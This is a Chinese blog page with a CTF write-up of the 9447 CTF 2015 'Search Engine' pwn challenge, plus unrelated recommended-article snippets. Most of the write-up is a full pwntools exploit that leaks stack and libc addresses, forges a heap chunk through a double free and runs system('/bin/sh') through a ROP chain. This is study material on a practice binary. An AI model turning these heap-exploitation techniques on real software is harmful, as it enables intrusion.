2020-11-18学习经历

vivado2020.2安装教程:从下载到安装的系统学习路径 手把手带你完成vivado2020.2安装教程,涵盖下载、配置到验证的完整流程,适合初学者快速上手FPGA开发环境,轻松掌握vivado2020.2安装教程核心步骤。 阅读详情

9447 CTF 2015: Search Engine

参考链接:https://www.gulshansingh.com/posts/9447-ctf-2015-search-engine-writeup/

程序分析:

可以看wiki或者我昨天的博客https://editor.youkuaiyun.com/md/?articleId=109756595

简单解惑:

1.如果说, 第一次输入’a’*48的话没有获得地址可能如同下图一样下一个地址上存放的是\x00之类的产生了截断
在这里插入图片描述
又因为该程序get num失败后是递归的调用本身所以会向低地址新建栈帧,而不是重复使用,使用所以多调用几次就可以获得地址了在这里插入图片描述
2. 在脚本的leak函数中, 由于第一个node可能会有指针低地址为’\x00’情况, 所以可以根据自己需要再加点小chunk

总结:

程序流程是懂了,但是如何确定栈地址却没有理解, 别的资料上也没细说,就只发一下exp吧:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
sh=process('./9447-search-engine')
elf=ELF('./9447-search-engine')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary='./9447-search-engine'
context.log_level='debug'
prdi_ret=0x400e23

def search_with_a_word(word):
    sh.recv()
    sh.sendline('1')
    sh.recv()
    sh.sendline(str(len(word)))
    sh.recv()
    sh.sendline(word)

def index_a_sentence(word):
    sh.sendline('2')
    sh.sendline(str(len(word)))
    sh.sendline(word)

def leak_stack():
    #gdb.attach(sh,'b *0x0400A40')
    sh.recvuntil('3: Quit\n')
    sh.sendline('a'*48)
    sh.recv()
    sh.sendline('a'*48)
    sh.recvuntil('a'*48)
    stack_leaked=u64(sh.recv(6).ljust(8,'\x00'))
    return stack_leaked

def leak():
    index_a_sentence(('a'*12+' b ').ljust(40,'c'))
    index_a_sentence('w'*8)#make data in low add != 0
    search_with_a_word('a'*12)
    sh.sendline('y')
    index_a_sentence('d'*64)
    search_with_a_word('\x00')
    sh.sendline('y')

    node=''
    node+=p64(0x0400E90)#'Enter'
    node+=p64(5)
    node+=p64(elf.got['puts'])
    node+=p64(64)
    node+=p64(0)
    assert len(node)==40
    index_a_sentence(node)
    
    search_with_a_word('Enter')
    sh.recvuntil('Found 64: ')
    puts_addr=u64(sh.recv()[:8])
    libcbase=puts_addr-libc.sym['puts']
    sh.sendline('n')
    return libcbase

def make_cycle():
    index_a_sentence('a'*54+' d')
    index_a_sentence('b'*54+' d')
    index_a_sentence('c'*54+' d')

    search_with_a_word('d')
    sh.sendline('y')
    sh.sendline('y')
    sh.sendline('y')
    search_with_a_word('\x00')
    sh.sendline('y')
    sh.sendline('n')

def make_fake_chunk(addr):
    fake_chunk=p64(addr)
    fake_chunk=fake_chunk.ljust(56)
    index_a_sentence(fake_chunk)

def allocate_fake_chunk(bsh_addr,sys_addr):
    index_a_sentence('a'*56)
    index_a_sentence('a'*56)
    buf='A'*30
    buf+=p64(prdi_ret)
    buf+=p64(bsh_addr)
    buf+=p64(sys_addr)
    buf=buf.ljust(56,'C')
    index_a_sentence(buf)

stack_leaked=leak_stack()
print 'stack be leaked is '+hex(stack_leaked)
stack_addr=stack_leaked+0x22-8

libcbase=leak()
print 'libcbase is '+hex(libcbase)
sys_addr=libcbase+libc.sym['system']
bsh_addr=libcbase+libc.search('/bin/sh').next()

make_cycle()
make_fake_chunk(stack_addr)
allocate_fake_chunk(bsh_addr,sys_addr)

sh.interactive()
MyEclipse 2020安装与配置指南:应对遗留Java EE项目的开发环境搭建 在Java企业级应用开发领域,集成开发环境(IDE)是提升开发效率的核心工具。其工作原理在于通过代码编辑器、调试器和构建工具集成,为开发者提供一体化的项目管理和运行支持。对于维护基于Struts、Hibernate或早期Spring MVC框架的历史遗留系统,一个稳定且兼容的IDE环境具有重要技术价值,它能确保代码导航、部署和调试的顺畅,降低因环境不匹配导致的开发风险。这类场景常见于金融、电信等传统行业的大型单体应用维护。本文将围绕MyEclipse 2020这一特定IDE版本,详细解析其安装前的JDK版本 阅读详情

相关推荐

DPABINet保姆级教程:零代码完成脑网络分析与图论计算

本文提供DPABINet的零代码脑网络分析全流程指南。该工具通过图形化界面集成时间序列提取、连接矩阵构建、图论指标计算及统计分析,大幅降低技术门槛。重点解析了阈值选择、二值化与小世界属性计算等关键步骤,帮助研究者快速掌握脑网络分析与图论计算,提升科研效率与可重复性。

j2k3l4的博客 670

2020年总结,所有努力只为一份期待

推荐阅读:2019年总结,平凡的我仍在平凡的生活 前言 从18年开始,我便养成了一个习惯,每年年底之前会写一篇总结和制定下一年中的计划,如果说2019的总结 是平凡的我仍在平凡的生活,那2020年便是 所有努力只为一份期待!2020年元旦前我制定了2020年一年当中最主要的计划,如下图所示。 关于学习 我始终认为并坚信程序猿应该任何时刻保持学习 ,Android中的新技术层出不穷,最近两年比较火热的就是Jetpack 和 MVVM 以及下年将推出正式版本的Compose,所以在19年的时候便计划

黄林晴 1万+

CANdelaStudio实战:如何用19服务快速编辑DTC快照数据(附Excel模板)

本文详细介绍了在CANdelaStudio中利用19服务高效编辑DTC快照数据的进阶技巧。通过导出DTC池至Excel进行批量编辑,结合‘Copy from DTC Pool’功能实现配置复用,并分享了构建自定义Excel模板与字段映射的实用方法,帮助工程师将繁琐的手动配置转化为工程化的批量处理,大幅提升诊断数据库开发效率。

weixin_29230773的博客 192

2020年网易unity社招面试经历

文章目录废话网易一面网易二面 废话 总的来说,网易的一面难度高一些,二面问的都是项目,相对容易回答,一面会尽量问基础,问底层,基础知识不好的话很容易挂在一面。 网易一面 1.自我介绍 2.问了问双学位相关 3.是否离职,目前在哪 4.之前项目框架是怎样的 5.UI滑动翻页组件怎么实现的 6.IDE模板是做什么的 7.主要逻辑在cs还是lua 8.项目组有多少人 9.红点系统怎么设计的 10.C++相关的问题,简单讲讲多态 11.STL相关 12.interface与抽象类区别 13.cs的字典底层的数据结构

残獄の世界に救いを 5976

cesium自定义指南针

项目需要一个指南针,用鼠标按住旋转指针,会让3d地图旋转,点击中心点重置方位。当然可以使用插件cesium-navigation-es6,但是样式不好修改,所以我自定义了一个指南针。

weixin_47017648的博客 750

2020年盛大unity社招面试经历

文章目录废话盛大一面盛大二面盛大三面 废话 盛大一共有4轮面试,1、2轮是技术面,第3轮是HR面,终面需要和直系上司聊聊。两轮技术面是两个部门交叉面试,未必会更难,取决于主程喜好。 盛大一面 1.对代码风格有什么见解 2.平时看哪些书? 3.对FSM有限状态机有什么了解 4.你对xlua有什么了解 5.对lua元表有什么了解 6.如何实现lua面向对象特性 7.xlua和cs交互有了解么 8.资源管理器大概做到什么程度(简历项目) 9.项目大了之后资源是如何分类的? 10.你上一个项目的资源管理是什么做的?

残獄の世界に救いを 1734

面试问题总结——关于YOLO系列(三)

接着上篇的的YOLO系列面试问题总结,加油,冲! 三.YOLOv3 1.YOLOv3主干网络BackBone——Darknet-53网络结构(因为有53个卷积层) (原论文中Darknet53的尺寸是在图片分类训练集上训练的,所以输入的图像尺寸是256x256,而在YOLOv3中输入尺寸是416×416)   ①上图中,Top-1 Accuracy和Top-5 Accuracy是指什么呢?区别在哪呢?   我们知道ImageNet有大概1000个分类,而模型预测某张图片时,会给出1000个按概率从高.

boss-dog 1万+

暑假实习经历

7月15日,星期一,晴 今天是我正式上班的第一天,有点激动和开心,也很好奇,程序员都是怎么工作的呢??? 昨天晚上吃猪皮吃的太多了,早上起来有点闹肚子,昨天周总让我今天九点去公司,说是第一天刚来,熟悉一下环境,顺便让同事给我做个交接。 我的左边没有人, 7月16日,星期二,晴 ...

yelvens的博客 9533

第20期-英伟达笔试题型解析

英伟达作为AI领域的缔造者及硬件基石,是这几年最为炙手可热的公司。英伟达以其高性能GPU设计闻名,硬件工程师岗位的招聘通常包括笔试和技术面试,考察领域涵盖数字电路设计、处理器架构、嵌入式系统和信号处理等。通过搜索公开平台,收集了候选人的面试经历和相关技术问题,,通过分析公开平台收集的笔试面试经验,结合英伟达的GPU架构特点,整理出可能涉及的典型题目,并提供详细解析。 以下是基于英伟达(Nvidia)硬件工程师笔试题型的解析与总结,涵盖核心知识点、解题思路及案例分析。

启芯硬件的博客 746

Python遥感图像处理应用篇(二十三):Python+GDAL 批量拼接图像

遥感影像拼接分多种不同的情况,比如比较常用的是两幅影像拼接或者多个图像合并为一个图像。GDAL中实现影像拼接的方式也有多种,比如常用可以通过numpy读取影像数组,并计算各个图像的numpy数组范围,合并多个numpy数组为一个最终的结果,并将其重新输出为一幅新的图像,即可实现图像的拼接。另外比较方便的一种方法便是使用GDAL.warp()函数方法。这个函数的功能很多,可以实现多种不同的目的,比如用于坐标系转换、投影变换、图像合并与镶嵌、地理范围裁剪、更改分辨率、矢量裁剪等多种功能。这些功能可以通过设置Op

soderayer的博客 4643

2020年10月18日自考总结

这次自考算是一个不小的成长。 自考所学方法:1.三遍读书法2.思维导图(全书,每一章,每一节) 三遍读书法:读之前首先在脑子里想一想:1.身正 2.脑松3.一目十行4.心静5.准备工具:文字阅读器6.无声7.从中间读8.做好规划9.不要被外物影响10.规定时间内完成11.关闭手机 3.做题时也要做好规划:选择题,简答题,论述题每一种分为一类,一起做,加快效率。 自学考试学习中遇到的事情 时间没把握好 1.刚开始对三遍读书法不太熟练,很陌生。所以花了一段时间适应。 2.第一门学科网管花了太多时间刷题,导致

活到老学到老 2149

Windows11上pip安装IsaacSim5.1.0与IsaacLab

本文详细介绍了CUDA Toolkit 12.8.0、IsaacSim和IsaacLab的安装过程。首先从NVIDIA官网下载并安装CUDA Toolkit 12.8.0,然后通过miniforge创建conda环境(env_isaacsim)安装IsaacSim相关Python包,解决了Windows长路径问题。成功运行IsaacSim后,克隆IsaacLab仓库并完成安装验证,最后通过创建空场景测试环境配置。整个安装过程包含详细的命令行操作和问题解决方法,为机器人仿真开发环境搭建提供了完整指导。

拥抱具身智能,昇腾Ascend C 378

2020年初即将迈入新年十分简短的经历

文章目录 2018 从 18 年 6 月底大学毕业,到 12 月有幸得到提前转正,期间一直在某大型电商项目上做自动化,期间历经不少波折,也学到了不少知识,但可惜的是这段期间没有做好十分详细的规划,导致很多学习任务被我拖延了,虽然在项目上学到不少东西,接口 UI 都做了,但是依然对这段期间的效率不是很满意 2019 19 年上半年依然在电商项目组,主做 UI,其中有一些插曲,有幸去了外滩那边做了移动...

abcnull 的博客 566

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

【2020】10 水文年鉴

系列文章 【2020】02 记录生活 【2020】03 从中二走向理性 【2020】04 期盼开学 【2020】05 毕业论文 【2020】06 毕业 【2020】07 留校 【2020】08 回家 【2020】09 研究生 1 【工作】 录入水文年鉴数据。

记录专业模型开发、算法程序设计、软件学习笔记、生活日志。 1807

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

2020.06 学习记录

背景 寒假回家开始摸鱼,至今已有 5 月(玩了5个月游戏)。暑假实习已凉,啥也不会,开始认真学习,当事人非常后悔。 近期目标: 2020.06 updata GIT 会基本操作? 操作系统:现代操作系统 计算机网络:TCP/IP 协议,图解 HTTP(看情况,可能就看博客学习HTTP) 语言:C++ Primer 第五版 之后可能有啥 linux 多线程多进程编程,linux 网络编程,数据库原理,mysql。看完上面三本再说 日期 学习时间(h)(h)(h) 学习内容 杂 心情 202

←_← 485

2020.07 学习日记

废话 寒假到现在,在家里玩了5个月,来学校又玩了大半个月。以为会做点东西了就什么都懂了,竟然没做准备就投了字节秋招提前批。结果被挂了之后,又被捞起来面试。可以说十分幸运了,但机会都是留给有准备的人的。 2020.07.02 15:00 字节跳动提前批一面,经过这次面试,让我深刻意识到了自己存在的问题(哪都是问题)。 做了两年切图仔,只会用(连用的不会)。基础性、原理性知识完全没有掌握。平时遇到问题都是搜一下,然后跟着解决,也从不会太深入了解。 现在十分后悔。 计划 一个月内不再投简历,专心巩固基础知识 书

Gem 634

【2020】07 留校

目录7月5 7月 5 【学习】 完成小论文初稿。

记录专业模型开发、算法程序设计、软件学习笔记、生活日志。 886

Python 2.7.18 发布,Python 2 时代是真的结束了

点击上方 "程序员小乐"关注,星标或置顶一起成长每天凌晨00点00分,第一时间与你相约每日英文Sleeping is nice. You forget about e...

程序员小乐 1381

2020-11-18

偷偷发芽 第一期 最近压力真的很大,直到今天晚上实在是被压得透不过气来,写下这篇博客来记录一下自己的压力,也当缓解一下了,为以后的自己提供给点经验。 现在的我是一名大三的211工科类学生,学院保研率大约在16.3%,而我大一成绩大约排年级8%左右,那时的我以为,我未来可期,大有可为,拿到了国家奖学金的我,同时也收获了大学中的恋爱,在当时我自以为是意气风发的,可是大二时期的我,过于得意于自己大一取得的成绩,成绩严重下滑到年级16.7%左右,科研项目经历也寥寥无几。到了大三,我的成绩仿佛是一个警钟,将我从.

hxstyx的博客 192

腾讯移动客户端开发(安卓方向)2020暑期实习一面面经

腾讯移动客户端开发(安卓方向)2020暑期实习一面面经 废话不多说,直接上问题 问题 1.自我介绍 2.项目相关 3.Java的基本数据类型(8种) 4.Java语言的特性(继承,多态,封装) 5.面向对象编程和面向过程编程各自是什么,有哪些区别 6.==和equals有什么区别? 7.学过设计模式吗(我坦言还没有学过,正准备学习) 8.http和https有什么区别? 9.TCP连接建立过程是几...

qq_45254908的博客 2810

拼多多2020届数据分析面试题合集

来源整理自公众号:胖里的日常第一家公司的2020届数据分析面试题整理就从拼多多开始吧~招聘总共分为学霸批、寻梦批、正式批三批,面试题合集并没有按照批次进行整理,毕竟也没啥规律可循。本人...

简说Python的博客 1万+

2020-02-11

首先大学时间有效利用的很少,各种逃课玩游戏,然后就悲剧了。 jsp一直挂到大补考,数据库(当时学的是sqlserver)建表语句都记不住,servlet都不会配置。这大概就是我刚毕业时候的状态,基本趋近于0。 可以说大学收获的东西,就是对程序的熏陶了,有点像学英语的听多了mp3那种感觉。 就是看到程序和代码时不会蒙b了。。。 我觉得真正学习java的时间是在工作后。刚毕业的时候一位老师(原谅我现在...

qq_43443827的博客 130

Copy攻城狮的年度之“战”|回顾2020

过去的一年,很少在优快云上发表文章,此处留下了没有技术的眼泪(争取2021年多水一些文章)。主要是感觉没啥总结的,因为本身技术实在太水,枉称为“技术人”,还是习惯“Copy 攻城狮”。虽然从事的是前端工程拷贝工作,但今年的收获却一概与前端无关,什么情况?好像是我太飘了! “太难了” 今年我的主题词是:"太难了"。众所周知,今年头号噩梦便是疫情,在疫情影响下,4 月辞职的我家 HR 领导,在此时的 12 月仍然在寻觅合适的坑位,关键是我们还背着沉重的贷款和外债,马已经服的杠杆也就 50-100 倍,我.

sinat_34365157的博客 288

湖湘杯2020

湖湘杯2020BeforeMisc虚实之间思路CryptoLFSXOR描述源码思路EXP古典美++描述思路After Before 有幸作为队里挂件打了湖湘杯,好家伙,平台从下午开始就搞事情,我们藏了两flag,最后一直交不上,也不是交不上,是交上了,不亮,不给分,吓得我们最后不怎么做了,就疯狂交flag,淦 Misc 另外passwd和隐藏的秘密,是内存取证,我不会用volatility,这两题是队友写的 我还在复现,不是,是在学习怎么使用他 虚实之间 思路 打开发现要密码,直接拉到ARCHPR里面爆破

pwnyuan's blog 1282

2020 ML/DM/RS方向会议时间表(全面整理)

1 引言2020年无疑会被无数次提起,永久的留存在人类历史的记忆当中。新冠肺炎无情的席卷了全球,现在国内的疫情虽然已基本稳定,但这把火已经点燃了全球,截止到目前(2020年4年22...

abcdefg90876的博客 1484
上一篇: 2020-11-17学习总结
下一篇: 2020-11-19学习记录(keer‘s bug与gdb bug)
北岛静石
博客等级 码龄7年 47粉丝 94原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值